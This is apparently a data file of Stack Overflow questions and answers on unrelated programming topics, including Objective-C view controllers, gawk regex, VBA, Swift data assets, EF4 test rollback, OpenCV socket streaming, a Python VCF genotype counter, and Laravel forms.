16350841	0	 <p>Your code is somewhat confusing. Is MyTabBarController the class? It looks like mainTabVC is your instance. You should use that rather than the class, and you should change the type when you instantiate mainTabVC to MyTabBarController, instead of UITabBarController. You also don't need to get the storyboard the way you do, you can just use self.storyboard.</p> <pre><code> MyTabBarController *mainTabVC = [self.storyboard instantiateViewControllerWithIdentifier:@"mainTabVC"]; mainTabVC.managedObjectContext = self.managedObjectContext; [mainTabVC setModalPresentationStyle:UIModalPresentationFullScreen]; [self presentViewController:mainTabVC animated:NO completion:nil]; </code></pre>
16651721	0	 <p>Since this post was made, there has been a third party tokenization service made available. Take a look at <a href="https://spreedly.com/" rel="nofollow">https://spreedly.com/</a>. I'm in the market for a similar solution currently.</p>
17935377	0	unexpected result from regular expression of url <p>I am trying to match one part in a url. This url has already been processed and consists of domain name only.</p> <p>For example:</p> <p>The url I have now is business.time.com Now I want to get rid of the top level domain(.com). The result I want is business.time</p> <p>I am using the following code:</p> <pre><code>gawk'{ match($1, /[a-zA-Z0-9\-\.]+[^(.com|.org|.edu|.gov|.mil)]/, where) print where[0] print where[1] }' test </code></pre> <p>In test, there are four lines:</p> <pre><code>business.time.com mybest.try.com this.is.a.example.org this.is.another.example.edu </code></pre> <p>I was expecting this :</p> <pre><code>business.time mybest.try this.is.a.example this.is.another.example </code></pre> <p>However, the output is</p> <pre><code>business.t mybest.try this.is.a.examp this.is.another.examp </code></pre> <p>Can anyone tell me what's wrong and what should I do?</p> <p>Thanks</p>
34074507	0	 <p>I tried using the options above but didn't work. Try this: </p> <p><code>from statistics import mean</code></p> <pre><code>n = [11, 13, 15, 17, 19] print(n) print(mean(n)) </code></pre> <p>worked on python 3.5</p>
31688717	0	Cocoa launch application window <p>I need to implement in Cocoa a initial windows with information and logo of the company such like this:</p> <p><a href="https://i.stack.imgur.com/dkim1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dkim1.png" alt="enter image description here"></a></p> <p>My question for you guys is how can avoid showing the window bar:</p> <p><a href="https://i.stack.imgur.com/jc1Px.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jc1Px.png" alt="enter image description here"></a></p> <p>I'll really appreciate your help.</p>
5714701	0	How to open forms ussing keyboard keys <p>I would like to be able to press shift+D+A+L to open another form (form2) ussing VB.net how do i do this?</p>
22159190	0	 <p>We solved this 10 minute timeout problem by implementing a small amount of Javascript which every 9 minutes sends an ajax request to a URL which sends back a new blob upload URL and swaps out the form.</p> <p>The <code>/ajax/blob</code> URL takes a success url, and then calls <code>create_upload_url()</code> and returns it as an ajax data object.</p> <p>Here's the Javascript we wrote:</p> <pre><code>if ($('#blobUploadForm').length &gt; 0) { setTimeout(_getNewBlobstoreUrl, 9 * 1000 * 60 * 60); // 9 minutes } //do nothing if there is no uploadUrl id function _getNewBlobstoreUrl() { var successUrl = $('#uploadUrl').attr('value'); if (typeof successUrl == 'undefined') { return; } var url = "/ajax/blob?url=" + successUrl; $.ajax({ url: url, dataType: "json", cache: false, async: true, success: _getNewBlobstoreUrlSuccess, error: _getNewBlobstoreUrlError }) function _getNewBlobstoreUrlSuccess(data) { if (data.url) { //change the action to a new action $('#blobUploadForm').attr('action', data.url) } } function _getNewBlobstoreUrlError(err) { // do something } </code></pre> <p>Don't forget at the end to setup the timeout again too (or use setInterval?), in case the user takes a really long time to fill in the form.</p>
32208030	0	 <p>I'm not sure what your code is doing but you can adapt it to this. Here is the general code that a recorded macro will show you.</p> <pre><code>'Selects everything on the current sheet and copies it Cells.Select Selection.Copy 'Add a new workbook. 'Adding a new workbook makes it the active workbook so you can paste to it. Workbooks.Add 'Paste the date using Paste:=xlPasteValues Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _ :=False, Transpose:=False Range("C8").Select </code></pre>
23620796	0	 <p>You probably want to create two functions in R:</p> <ul> <li><code>getdata</code>: a function that retrieves the data from your database, and returns the data frame.</li> <li><code>makeplot</code> : a function with a dataframe argument that creates your plot and returns nothing.</li> </ul> <p>Then your client you can call them separately. First the client calls <code>getdata</code> to retrieve the data from the db, and the server will respond with a temporary <code>{key}</code> that represents the returned dataframe object on the server, for example <code>x01234567</code>.</p> <p>Then you can use this key to either download the dataset or use it as an argument to create the plot. To download the data, simply create a hyperlink to for example:</p> <ul> <li><code>http://your.server.com/ocpu/tmp/x01234567/R/.val/csv</code></li> <li><code>http://your.server.com/ocpu/tmp/x01234567/R/.val/tab</code></li> <li><code>http://your.server.com/ocpu/tmp/x01234567/R/.val/json</code></li> </ul> <p>To create the plot, the client calls <code>makeplot</code> and passes <code>x01234567</code> as the argument value for the data frame. The <code>OpenCPU</code> server will automatically lookup the object for this key to the dataframe object that was returned before by <code>getdata</code>.</p>
7255652	0	 <p>The easiest way to do this, is to get the StyledDocument from the JTextPane, and to use the setCharacterAttributes() method.</p> <p>The setCharacterAttributes method on the StyledDocument object allows you to set for a specific character range, a set of attributes, which can include BOLD.</p> <p>See the <a href="http://download.oracle.com/javase/1,5.0/docs/api/javax/swing/text/StyledDocument.html#setCharacterAttributes%28int,%20int,%20javax.swing.text.AttributeSet,%20boolean%29">Javadoc for more info</a></p> <p>Some sample code could be</p> <pre><code>// set chars 4 to 10 to Bold SimpleAttributeSet sas = new SimpleAttributeSet(); StyleConstants.setBold(sas, true); textPane.getStyledDocument().setCharacterAttributes(4, 6, sas, false); </code></pre>
33618760	0	 <p>You can't access data asset files in the same way you access a random file using <code>NSBundle.pathForResource</code>. Since they can only be defined within <code>Assets.xcassets</code>, you need to initialize a <code>NSDataAsset</code> instance in order to access the contents of it: </p> <pre><code>let asset = NSDataAsset(name: "Colors", bundle: NSBundle.mainBundle()) let json = try? NSJSONSerialization.JSONObjectWithData(asset!.data, options: NSJSONReadingOptions.AllowFragments) print(json) </code></pre> <p>Please note that <code>NSDataAsset</code> class was introduced as of iOS 9.0 &amp; macOS 10.11.</p> <p><strong>Swift3 version:</strong></p> <pre><code>let asset = NSDataAsset(name: "Colors", bundle: Bundle.main) let json = try? JSONSerialization.jsonObject(with: asset!.data, options: JSONSerialization.ReadingOptions.allowFragments) print(json) </code></pre> <p>Also, NSDataAsset is surprisingly located in UIKit/AppKit so don't forget to import the relevant framework in your code:</p> <pre><code>#if os(iOS) import UIKit #elseif os(OSX) import AppKit #endif </code></pre>
38028012	0	 <p>If you assign <code>this</code> reference to a member variable, you have a recursion. Yes, it doesn't matter how many <code>s</code>'s you'll add, because they are always the same object, which is <code>this</code> object. It's the same as if you wrote:</p> <pre><code>this.this.this.this.this.this.x++; </code></pre> <p>Function <code>f()</code> returns reference to <code>this</code> object after doing some other operations on it. It's a common design pattern in Java, called <a href="http://www.tutorialspoint.com/design_pattern/builder_pattern.htm" rel="nofollow">builder</a>. Adding ability to do <code>a4.f().g();</code> to a class is called <a href="http://stackoverflow.com/a/21180314/5922757">method chaining</a>. In other words, <code>f()</code> is <code>this</code> object at the end of the call, just like <code>s</code> is, so you can do:</p> <pre><code>a1.f().f().f().f().f().f(); </code></pre> <p>And it means you just called <code>f()</code> function from <code>a1</code> object 6 times.</p>
338945	0	What are some reasons I might be receiving this "Symbol not defined" error in Visual Studio 2005 (screenshot included) <p>When debugging my VS2005 project, I get the following error when I attempt to step into the function that returns the <em>vScenarioDescriptions</em> local variable it's struggling with...</p> <p><em><img src="http://people.ict.usc.edu/~crotchett/images/symbolnotdefined.JPG" alt="image no longer available"></em></p> <p>As I continue to walk through the code and step into functions, it appears I'm getting this error other local variables as well. Any ideas?</p> <p>Thanks in advance for your help!</p>
22225908	0	 <p>You're getting an exception from the DirectoryInfo object, so you need to use try / catch:</p> <pre><code>function Get-HugeDirStats ($directory) { function go($dir, $stats) { try { foreach ($f in $dir.GetFiles()) { $stats.Count++ $stats.Size += $f.Length } foreach ($d in $dir.GetDirectories()) { go $d $stats } } catch [Exception] { # Do something here if you need to } } $statistics = New-Object PsObject -Property @{Count = 0; Size = [long]0 } go (new-object IO.DirectoryInfo $directory) $statistics $statistics } </code></pre> <p>If you're getting errors from any powershell cmdlets, you can use <code>-ErrorAction SilentlyContinue</code> on the cmdlet to prevent errors printing to the screen.</p>
21868051	0	Laravel 4 - ErrorException Undefined variable <p>Trying to bind model to the form to call update function, but model is not found. </p> <pre><code>{{ Form::model($upload, array('url' =&gt; array('uploads/update', $upload-&gt;id), 'files' =&gt; true, 'method' =&gt; 'PATCH')) }} </code></pre> <p>Controller to get edit view </p> <pre><code>public function getEdit($id) { $upload = $this-&gt;upload-&gt;find($id); if (is_null($upload)) { return Redirect::to('uploads/alluploads'); } $this-&gt;layout-&gt;content = View::make('uploads.edit', compact('uploads')); } </code></pre> <p>Controller to do the update</p> <pre><code>public function patchUpdate($id) { $input = array_except(Input::all(), '_method'); $v = Validator::make($input, Upload::$rules); if ($v-&gt;passes()) { $upload = $this-&gt;upload-&gt;find($id); $upload-&gt;update($input); return Redirect::to('uploads/show', $id); } return Redirect::to('uploads/edit', $id) -&gt;withInput() -&gt;withErrors($v) } </code></pre> <p>error i get </p> <pre><code>ErrorException Undefined variable: upload (View: /www/authtest/app/views/uploads/edit.blade.php) </code></pre>
9247315	0	 <p>Your best bet is probably <a href="http://www.sqlite.org/" rel="nofollow">SQLite</a>, a database engine. From Apple's <a href="https://developer.apple.com/technologies/ios/data-management.html" rel="nofollow">iOS Data Management</a> page:</p> <blockquote> <p>iOS includes the popular SQLite library, a lightweight yet powerful relational database engine that is easily embedded into an application. Used in countless applications across many platforms, SQLite is considered a de facto industry standard for lightweight embedded SQL database programming. Unlike the object-oriented Core Data framework, SQLite uses a procedural, SQL-focused API to manipulate the data tables directly.</p> </blockquote>
39179728	0	 <p><code>uib-accordion-group</code> provides you with a parameter <code>is-open</code>. You can just feed in a truthy value for newly created elements and they will be automatically opened.</p> <p>See the documentation for reference: <a href="https://angular-ui.github.io/bootstrap/#/accordion" rel="nofollow">https://angular-ui.github.io/bootstrap/#/accordion</a></p>
29850405	0	 <p>There is the <code>bool</code> function in <code>Data.Bool</code>:</p> <pre><code>import Data.Bool bool b a (x == y) </code></pre>
2686454	0	How to rollback in EF4 for Unit Test TearDown? <p>In my research about rolling back transactions in EF4, it seems everybody refers to <a href="http://blogs.msdn.com/alexj/archive/2009/01/11/savechanges-false.aspx" rel="nofollow noreferrer">this blog post</a> or offers a similar explanation. In my scenario, I'm wanting to do this in a unit testing scenario where I want to rollback practically everything I do within my unit testing context to keep from updating the data in the database (yeah, we'll increment counters but that's okay). In order to do this, is it best to follow the following plan? Am I missing some concept or anything else major with this (aside from my <code>SetupMyTest</code> and <code>PerformMyTest</code> functions won't really exist that way)?</p> <pre><code>[TestMethod] public void Foo { using (var ts = new TransactionScope()) { // Arrange SetupMyTest(context); // Act PerformMyTest(context); var numberOfChanges = context.SaveChanges(SaveOptions.AcceptAllChangesAfterSave); // if there's an issue, chances are that an exception has been thrown by now. // Assert Assert.IsTrue(numberOfChanges &gt; 0, "Failed to _____"); // transaction will rollback because we do not ever call Complete on it } } </code></pre>
15739734	0	 <p>You can use javascript's <code>substr()</code> and <code>.lastIndexOf()</code>:</p> <pre><code>var url = '/Home/LoadData?page=2&amp;activeTab=House'; // window.location.href; var activeTab = url.substr(url.lastIndexOf('=')+1); // outputs House </code></pre> <h3><a href="http://jsfiddle.net/gjkrZ/" rel="nofollow">Find in FIDDLE</a></h3>
18971283	0	breeze js apostraphe causing query to fail <p>I'm using the breeze-mongo node module and when performing a query for an entity name which has an apostrophe the server is throwing an exception.</p> <p>Query example:</p> <pre><code>EntityQuery.from('People') .where('name', '==', "brian's") </code></pre> <blockquote> <p>Error: Unable to parse filterExpr: name eq 'brian's' at parse (/node/api/node_modules/breeze-mongodb/mongoQuery.js:108:19) at MongoQuery._parseUrl (/node/api/node_modules/breeze-mongodb/mongoQuery.js:29:26) at new MongoQuery (/node/api/node_modules/breeze-mongodb/mongoQuery.js:21:10) at getVideos (/node/api/api.js:102:19) at callbacks (/node/api/node_modules/express/lib/router/index.js:161:37) at param (/node/api/node_modules/express/lib/router/index.js:135:11) at pass (/node/api/node_modules/express/lib/router/index.js:142:5) at Router._dispatch (/node/api/node_modules/express/lib/router/index.js:170:5) at Object.router (/node/api/node_modules/express/lib/router/index.js:33:10) at next (/node/api/node_modules/express/node_modules/connect/lib/proto.js:190:15)</p> </blockquote> <p>Are apostrophes not supported?</p>
17752918	0	 <p>Here is an example of how to delete a solr index with curl:</p> <p><a href="https://gist.github.com/nz/673027" rel="nofollow">https://gist.github.com/nz/673027</a></p> <p>For windows, check this out:</p> <p><a href="http://stackoverflow.com/questions/17106996/how-to-post-xml-data-with-curl-using-cmd-in-windows-7">How to post XML data with cURL using cmd in windows 7?</a></p>
40363669	0	Contextual type 'AnyObject' cannot be used with dictionary literal multi level dictionary <p>I'm running into an issue with creating a multi-level dictionary in Swift and have followed some of the suggestions presented here:</p> <pre><code>var userDict:[String:AnyObject]? = ["SystemId": "TestCompany", "UserDetails" : ["firstName": userDetail.name, "userAddress" : "addressLine1" userDetail.userAdd1]] </code></pre> <p>The use of <code>[String:AnyObject]?</code> works for the first level of the Dict, but Swift is throwing the same error at the next level Dict, <code>UserDetail[]</code>. Any suggestions would be greatly appreciated</p>
36032002	0	Crystal Report not supporting to style attribute of Paragraph tag <p>Crystal Report is not supporting the style attribute of the paragraph tag. Why this is happening? Just freaked out with this problem since yesterday. Here is my HTML code which is I am putting on the Crystal Report:</p> <pre><code>paragraph tag"&lt;p&gt;".Style attribute inside it like - " style="text-align:justify" Text is to test Text is to test Text is to test Text is to testText is to testText is to test close paragraph tag"&lt;/p&gt;" </code></pre> <p>But this is not adjusting in report. Text is going to left side only.</p> <p>Is there any solution?? Please help. I will be so much thankful for that.. regards - Devdan</p>
40528566	1	How to aggregate values over a bigger than RAM gzip'ed csv file? <p>For starters I am new to bioinformatics and especially to programming, but I have built a script that will go through a so-called VCF file (only the individuals are included, one clumn = one individual), and uses a search string to find out for every variant (line) whether the individual is homozygous or heterozygous.</p> <p>This script works, at least on small subsets, but I know it stores everything in memory. I would like to do this on very large zipped files (of even whole genomes), but I do not know how to transform this script into a script that does everything line by line (because I want to count through whole columns I just do not see how to solve that).</p> <p>So the output is 5 things per individual (total variants, number homozygote, number heterozygote, and proportions of homo- and heterozygotes). See the code below:</p> <pre><code>#!usr/bin/env python import re import gzip subset_cols = 'subset_cols_chr18.vcf.gz' #nuc_div = 'nuc_div_chr18.txt' gz_infile = gzip.GzipFile(subset_cols, "r") #gz_outfile = gzip.GzipFile(nuc_div, "w") # make a dictionary of the header line for easy retrieval of elements later on headers = gz_infile.readline().rstrip().split('\t') print headers column_dict = {} for header in headers: column_dict[header] = [] for line in gz_infile: columns = line.rstrip().split('\t') for i in range(len(columns)): c_header=headers[i] column_dict[c_header].append(columns[i]) #print column_dict for key in column_dict: number_homozygotes = 0 number_heterozygotes = 0 for values in column_dict[key]: SearchStr = '(\d)/(\d):\d+,\d+:\d+:\d+:\d+,\d+,\d+' #this search string contains the regexp (this regexp was tested) Result = re.search(SearchStr,values) if Result: #here, it will skip the missing genoytypes ./. variant_one = int(Result.group(1)) variant_two = int(Result.group(2)) if variant_one == 0 and variant_two == 0: continue elif variant_one == variant_two: #count +1 in case variant one and two are equal (so 0/0, 1/1, etc.) number_homozygotes += 1 elif variant_one != variant_two: #count +1 in case variant one is not equal to variant two (so 1/0, 0/1, etc.) number_heterozygotes += 1 print "%s homozygotes %s" % (number_homozygotes, key) print "%s heterozygotes %s" % (number_heterozygotes,key) variants = number_homozygotes + number_heterozygotes print "%s variants" % variants prop_homozygotes = (1.0*number_homozygotes/variants)*100 prop_heterozygotes = (1.0*number_heterozygotes/variants)*100 print "%s %% homozygous %s" % (prop_homozygotes, key) print "%s %% heterozygous %s" % (prop_heterozygotes, key) </code></pre> <p>Any help will be much appreciated so I can go on investigating large datasets, thank you :)</p> <p>The VCF file by the way looks something like this: INDIVIDUAL_1 INDIVIDUAL_2 INDIVIDUAL_3 0/0:9,0:9:24:0,24,221 1/0:5,4:9:25:25,0,26 1/1:0,13:13:33:347,33,0</p> <p>This is then the header line with the individual ID names (I have in total 33 individuals with more complicated ID tags, I simplified here) and then I have a lot of these information lines with the same specific pattern. I am only interested in the first part with the slash so hence the regular epxression.</p>
20651236	0	Sync branches in git <p>I'm sure this is a simple one but I haven't been able to find the answer online, even after much Googling.</p> <p>I have Git installed on my machine, for which I followed the tutorial on the Github site. Following this made my machine master. Now, I need to work on a different branch. So I created a new branch on the site. Problem: this new branch isn't showing up in the Bash window, and when I try to switch to it, it isn't recognized. A coworker created his branch and it isn't on my machine either. </p> <p>How can I synchronize the list of branches on the site with my machine?</p> <p>Thanks!</p>
38319615	0	can we create compact table(excel-like) from normal table using javascript? <p>need to know that how can i form excel-like layout table from normal table.</p> <p>Child node should come under parent node in next row with indentation.</p> <p><img src="https://i.stack.imgur.com/173kk.png" alt="Excel-Like"></p>
10420003	0	 <p>Give this a try:</p> <pre><code>select max(s.sNum) result from s2tmap st join s on st.sId = s.sId where st.tId = '000' and not exists ( select * from temp where temp.newId = st.sId) </code></pre> <p>Here is the <a href="http://sqlfiddle.com/#!5/26124/9" rel="nofollow">fiddle</a> to play with.</p> <p>Another option, probably less efficient would be:</p> <pre><code>select max(s.sNum) result from s2tmap st join s on st.sId = s.sId where st.tId = '000' and st.sId not in ( select newId from temp) </code></pre>
29171879	0	 <p>Yes, this is possible. The syntax is a bit different, however.</p> <pre><code>if key in myDict: if innerKey in myDict[key]: myDict[key][innerKey] += 1 else: myDict[key][innerKey] = 0 </code></pre>
31604287	0	Script not working in wordpress <p>I would like to move the following page</p> <p><a href="http://cliponexpress.com/customize-your-clipon.html" rel="nofollow">http://cliponexpress.com/customize-your-clipon.html</a></p> <p>Into this wordpress page</p> <p><a href="http://cliponexpress.com/customizeit/" rel="nofollow">http://cliponexpress.com/customizeit/</a></p> <p>The script below changes the images when the thumbnails are clicked. it works fine on the html page, however I can't get it to work on wordpress, no matter where I place it (tried header, footer and within the page itself).</p> <p>Any idea what I'm doing wrong?</p> <p>Here is the script:</p> <pre><code>&lt;script type="text/javascript"&gt; $('a.thumbnail').click(function() { var src = $(this).attr('href'); var output = src.split('/').pop().split('.').shift(); $("#os1").val(output); $("#os1_text").text(output); if (src != $('img#lens').attr('src').replace(/\?(.*)/, '')) { $('img#lens').stop().animate({ opacity: '0' }, function() { $(this).attr('src', src + '?' + Math.floor(Math.random() * (10 * 100))); }).load(function() { $(this).stop().animate({ opacity: '1' }); }); } return false; }); $('a.thumbnail2').click(function() { var src = $(this).attr('href'); var output = src.split('/').pop().split('.').shift(); $("#os0").val(output); $("#os0_text").text(output); if (src != $('img#chassis').attr('src').replace(/\?(.*)/, '')) { $('img#chassis').stop().animate({ opacity: '0' }, function() { $(this).attr('src', src + '?' + Math.floor(Math.random() * (10 * 100))); }).load(function() { $(this).stop().animate({ opacity: '1' }); }); } return false; }); </code></pre> <p></p> <p>Thank you.</p>
37334888	0	Reduce Transparency setting in OS X makes white text in NSButton in popover disappear <p>I'm working on an OS X app that involves popovers with web views in them. The web views have <code>drawsBackground</code> set to <code>NO</code>. Sometimes there are buttons in these popovers, on top of the web views. These buttons have custom background colors and have their text colors set via <code>NSAttributedString</code>. But when the Reduce Transparency setting is on in System Preferences, the white text disappears. If the text is any other color, it shows up - even clear (though faintly).</p> <p><a href="https://github.com/tomhamming/nsbutton_title_disappear" rel="nofollow">See here</a> for an example project on GitHub demonstrating the problem.</p> <p>What is going on here?</p> <p><b>Update:</b> I talked to an engineer at WWDC 2016 about this, and he confirmed it was a bug. I filed a radar. He did manage to fix it in my code by setting the appearance of the button in question to <code>NSAppearanceNameAqua</code>.</p>
8436066	0	 <p>Check out <code>clojure.contrib.repl-utils</code>, and <code>show</code> in particular.</p> <p><a href="http://richhickey.github.com/clojure-contrib/repl-utils-api.html#clojure.contrib.repl-utils/show" rel="nofollow">http://richhickey.github.com/clojure-contrib/repl-utils-api.html#clojure.contrib.repl-utils/show</a></p> <p>These are utilities for you to introspect objects and classes in the REPL, but the code is a good example of how to explore classes programatically.</p>
6651537	0	 <p>For detecting CTRL + F:</p> <pre><code>event.ctrlKey == true &amp;&amp; event.keyCode == Keyboard.F </code></pre> <p>where 'event' is of course a KeyBoardEvent.</p> <p>As for the F3 question: the code you wrote will work as long as the flash application has focus. The F3 key command will then also not be routed to the browser. So what you need to do, is make sure that your application has focus when the user hits F3. How you solve this will depend on your JavaScript implementation. You could use ExternalInterface to tell the browser that the app is ready and than focus on the app. Or in Javascript you could catch the keyboard event, prevent its default behavior, and then call the function on the Flash app (again through ExternalInterface).</p> <p>To get you started, here's a little JQuery snippet for preventing the default F3 behaviour:</p> <pre><code>$('body').keyup(function(event) { if (event.keyCode == '114') event.preventDefault(); } </code></pre>
18350101	0	What is the best practise to maintain authenticated user details in an ASP.NET Intranet MVC application <p>I am developing an Intranet.NET MVC application. I need to store user details like location, ID Number etc associated with each authenticated users. </p> <p>In .NET Webform applications we used to save the logged in user's details in session. But what is the best practise in .NET MVC application ?</p>
13431881	0	 <p>Its purely a CSS thing.It depends upon the DOM where are you trying to show the out put.. You can put them in separate DOM and apply margin or float and display as like you want..</p> <pre><code>&lt;div style = "float:left"&gt;&lt;?php wpfp_link();?&gt;&lt;/div&gt; &lt;div style = "float:right"&gt;&lt;?php the_views(); ?&gt;&lt;/div&gt; </code></pre>
36503536	1	Send Video over TCP using OpenCV and sockets in Raspberry Pi <p>I have been trying to send live video frame from my client (Raspberry Pi) to a server hosted on Laptop. Both these devices are connected to the same network.</p> <p>Server.py</p> <pre><code>import socket import sys import cv2 import pickle import numpy as np import struct HOST = '192.168.1.3' PORT = 8083 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Socket created' s.bind((HOST, PORT)) print 'Socket bind complete' s.listen(10) print 'Socket now listening' conn, addr = s.accept() data = "" payload_size = struct.calcsize("L") while True: while len(data) &lt; payload_size: data += conn.recv(4096) packed_msg_size = data[:payload_size] data = data[payload_size:] msg_size = struct.unpack("L", packed_msg_size)[0] while len(data) &lt; msg_size: data += conn.recv(4096) frame_data = data[:msg_size] data = data[msg_size:] frame=pickle.loads(frame_data) print frame.size # cv2.imshow('frame', frame) # cv2.waitKey(10) </code></pre> <p>Client.py</p> <pre><code>import cv2 import numpy as np import socket import sys import pickle import struct cap = cv2.VideoCapture(0) clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) clientsocket.connect(('192.168.1.3', 8081)) while True: ret,frame = cap.read() data = pickle.dumps(frame) clientsocket.sendall(struct.pack("L", len(data)) + data) </code></pre> <p><strong>My server on laptop is not receiving any data</strong>. But when I run this client and server on same devices (e.g. server and client on laptop) then it is working properly.</p> <p>I am able to send data from raspberry to laptop (tested for echo application).</p> <p>Can anyone help me with this ?</p>
29208500	0	 <p>Thanks to you both, you were indeed correct Ken, I had read this similar post a lot of times, and somehow didnt understand the answer within: </p> <p><a href="http://stackoverflow.com/questions/3188816/calling-object-methods-internally-in-dojo">Calling object methods internally in dojo</a></p> <p>After reading what you have posted, I have somehow understood the answer linked above and now understand what my problem was! Thanks to all.</p> <p>I fixed it by altering my code in the main application as follows:</p> <pre><code>var appInterface = new Interface(); on(registry.byId("graphBtn"),"click", appInterface.toggleGraphWindow); </code></pre> <p>changed to:</p> <pre><code>var appInterface = new Interface(); var graphToggle = dojo.hitch(appInterface, "toggleGraphWindow"); on(registry.byId("graphBtn"),"click", graphToggle); </code></pre> <p>I believe the reason for the error, was that the "this" object at runtime, was actually the "graphBtn" instead of the appInterface.</p>
28751931	0	How to mutually exclude two (or more) boolean flags using json shema? <pre><code>{ flag1: true, flag2: false } -&gt; ok { flag1: false, flag2: true } -&gt; ok { flag1: true } -&gt; ok { flag2: true } -&gt; ok { flag1: false, flag2: false } -&gt; ok { } -&gt; ok { flag1: false } -&gt; ok { flag2: false } -&gt; ok { flag1: true, flag2: true } -&gt; NO! </code></pre> <p>I want validation to fail only if both <code>flag1</code> and <code>flag2</code> are equal <code>true</code>.</p>
30757178	0	 <p>I hit a similar issue and solved it using version 1.1.4 of <a href="https://github.com/google/google-api-php-client" rel="nofollow">google-api-php-client</a></p> <p>Assuming the following code is used to redirect a user to the Google authentication page:</p> <pre><code> $client = new Google_Client(); $client-&gt;setAuthConfigFile('/path/to/config/file/here'); $client-&gt;setRedirectUri('https://redirect/url/here'); $client-&gt;setAccessType('offline'); //optional $client-&gt;setScopes(['profile']); //or email $auth_url = $client-&gt;createAuthUrl(); header('Location: ' . filter_var($auth_url, FILTER_SANITIZE_URL)); exit(); </code></pre> <p>Assuming a valid authentication code is returned to the <code>redirect_url</code>, the following will generate a token from the authentication code as well as provide basic profile information:</p> <pre><code> //assuming a successful authentication code is returned $authentication_code = 'code-returned-by-google'; $client = new Google_Client(); //.... configure $client object $client-&gt;authenticate($authentication_code); $token_data = $client-&gt;getAccessToken(); //get user email address $google_oauth =new Google_Service_Oauth2($client); $google_account_email = $google_oauth-&gt;userinfo-&gt;get()-&gt;email; //$google_ouath-&gt;userinfo-&gt;get()-&gt;familyName; //$google_ouath-&gt;userinfo-&gt;get()-&gt;givenName; //$google_ouath-&gt;userinfo-&gt;get()-&gt;name; </code></pre> <p>However, location is not returned. <a href="https://support.google.com/youtube/answer/1637615?hl=en-GB" rel="nofollow">New YouTube accounts don't have YouTube specific usernames</a> </p>
7608511	0	Java POI : How to read Excel cell value and not the formula computing it ? <p>I am using Apache POI Api to getting values from an Excel file. Everything is working great except with cells containing formulas. In fact, the cell.getStringCellValue() is returning the formula used in the cell and not the value of the cell. </p> <p>I tried to use evaluateFormulaCell() method but it's not working because I am using GETPIVOTDATA Excel formula and this formula is not implemented in the API:</p> <pre><code>Exception in thread "main" org.apache.poi.ss.formula.eval.NotImplementedException: Error evaluating cell Landscape!K11 at org.apache.poi.ss.formula.WorkbookEvaluator.addExceptionInfo(WorkbookEvaluator.java:321) at org.apache.poi.ss.formula.WorkbookEvaluator.evaluateAny(WorkbookEvaluator.java:288) at org.apache.poi.ss.formula.WorkbookEvaluator.evaluate(WorkbookEvaluator.java:221) at org.apache.poi.hssf.usermodel.HSSFFormulaEvaluator.evaluateFormulaCellValue(HSSFFormulaEvaluator.java:320) at org.apache.poi.hssf.usermodel.HSSFFormulaEvaluator.evaluateFormulaCell(HSSFFormulaEvaluator.java:213) at fromExcelToJava.ExcelSheetReader.unAutreTest(ExcelSheetReader.java:193) at fromExcelToJava.ExcelSheetReader.main(ExcelSheetReader.java:224) Caused by: org.apache.poi.ss.formula.eval.NotImplementedException: GETPIVOTDATA at org.apache.poi.hssf.record.formula.functions.NotImplementedFunction.evaluate(NotImplementedFunction.java:42) </code></pre> <p>I hope you can help me on this.</p> <p>Thank you guys.</p>
34298113	0	 <p>Download the akka for eclipse from below location </p> <p><a href="http://downloads.typesafe.com/akka/akka_2.11-2.4.1.zip?_ga=1.167921254.618585520.1450199987" rel="nofollow">http://downloads.typesafe.com/akka/akka_2.11-2.4.1.zip?_ga=1.167921254.618585520.1450199987</a></p> <p>extract the zip </p> <p>add dependencies from the lib folder into project</p>
4192812	0	Parsing pair of floats <p>Given a string like: <code>"0.123, 0.456"</code> what is the simplest way to parse the two float values into two variables <code>a</code> and <code>b</code>?</p>
38678120	0	 <p>What you are referring in Java is called <a href="http://docs.oracle.com/javase/tutorial/java/javaOO/innerclasses.html" rel="nofollow">anonymous inner class</a> - you are actually declaring a one-time derived class inline.</p> <p><strong>Unfortunately</strong> Swift doesn't have this feature.</p> <p><strong>But</strong> you can consider passing a closure to the instance.</p> <p>Lets say that your Card class have a var <code>getCardFunction</code>:</p> <pre><code>Class Card { var getCardFunction : () -&gt; Int } </code></pre> <p>Now you can pass the function you desire after initialising:</p> <pre><code>var card = Card() card.getCardFunction = { return 6 } </code></pre> <p><strong><em>Note</em></strong>: you can even have a default value for the <code>getCardFunction</code> function:</p> <pre><code>Class Card { var getCardFunction : () -&gt; Int = { return 3 } } </code></pre>
16443877	0	 <p>I had the same trouble, went to see whether the suggested fix from <a href="https://svn.boost.org/trac/boost/ticket/4209" rel="nofollow">Boost Ticket #4209</a> worked, which didn't. I could see the total number of the elements, but not the content.</p> <p>So, the choices are, to switch to VS2012, for which there is a <a href="https://cppvisualizers.codeplex.com/" rel="nofollow">Plug-In</a>, or invest in figuring out the format in VS2010 and fixing the existing suggested code. </p> <p>Or, and that's what I did, use std::tr1::unordered_set / map instead. There is a visualizer for it in Visual Studio. And, later on, after debugging, if you wish, switch back to boost.</p>
3654257	0	 <p>You need to retain a copy of the AdMob AdViewController as Admob no longer does this itself.</p> <p>In your viewcontroller.h add something like</p> <pre><code>IBOutlet AdViewController *localAdViewController; </code></pre> <p>inside the @interface section, and add</p> <pre><code>@property (nonatomic, retain) AdViewController *localAdViewController; </code></pre> <p>afterwards.</p> <p>Then add a link in IB from File's owner to your localAdViewController in AdViewController.</p> <p>Should work fine then on.</p>
